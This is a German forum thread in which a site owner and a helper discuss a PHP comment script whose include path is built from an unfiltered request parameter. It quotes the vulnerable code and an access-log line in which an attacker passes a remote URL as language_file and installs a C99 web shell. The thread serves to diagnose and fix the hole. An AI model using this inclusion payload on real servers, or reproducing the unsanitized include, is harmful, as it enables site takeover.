hi $name,
Und woher bekommst du $language_file? Da solltest du ansetzen.
in einem include der (fast) überall eingebunden wird:
// Are we using the default language or user's choice?
function setupLanguage() {
global $config, $user_lang, $tb_language;$path = $_SERVER['DOCUMENT_ROOT'] . $config['talkback_path'] . 'language/';
if ($_REQUEST['language'] && $_REQUEST['language'] != $config['default_language']) {
// visitor has selected a language
$language_file = $path . $_REQUEST['language'] . '.php';
>
> Genau hier ^^^ ist z.B. ein Punkt, an dem man ansetzen muss: Die Variable language kommt von außerhalb und wird ohne zu filtern in einen Pfad eingebaut! Was gibt language denn an? Dir hilft bestimmt einer Funktionen [basename](http://de.php.net/manual/de/function.basename.php) oder [dirname](http://de.php.net/manual/de/function.dirname.php) weiter.
hm, oder es gibt nur eine sprache und basta :-) aber mit basename ist es doch eleganter.
> > \*schäm\* stimmt, ich habs geändert:
> > include ("language/english.php");
>
> Beide? Dann kann man keine Sprache mehr selektieren? Aber wie gesagt, das obere sieht mir kritischer aus.
\*lol\* das ist mir dann auch aufgefallen aber s.o.
>
> > > > original:
> > > > include $config['comments\_form\_tpl'];
> > >
> > > Das könnte relativ "sicher" sein, wenn du $config[] selbst mit erlaubten Werten initialisierst.
> >
> > ist per config.php mit werten initalisiert, aber trotzdem wurde das als sicherheitslücke moniert.
>
> Wurde auch gesagt, wie dort Werte überschrieben werden könnten?
so oder so ähnlich (weiß die uhrzeit leider nicht mehr auf die sekunde genau) hats meinen account erwischt:
196\.217.75.218 - - [25/Nov/2007:15:52:05 +0100] "GET /book\_1/comments-display-tpl.php?language\_file=http://www.böse.com/ecshop/style.txt?act=img&img=small\_dir HTTP/1.1" 200 164 "http://www.example.com/book\_1/comments-display-tpl.php?language\_file=http://www.böse.com/ecshop/style.txt?act=ls&d=/srv/www/htdocs/web2007/html/book\_1/&sort=0a" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
und schon hatte ich PHP/C99Shell-A auf meinem account, das ganze sieht dann so aus:
<reels4actors.de/locus7shell.htm> - das ist eine html datei ohne schadcode (enthält zwar eine javascript, das ist aber nur checkboxen selektiert/deselektiert)
gruss
shadow
--
If there's anything more important than my ego around, I want it caught and shot, now.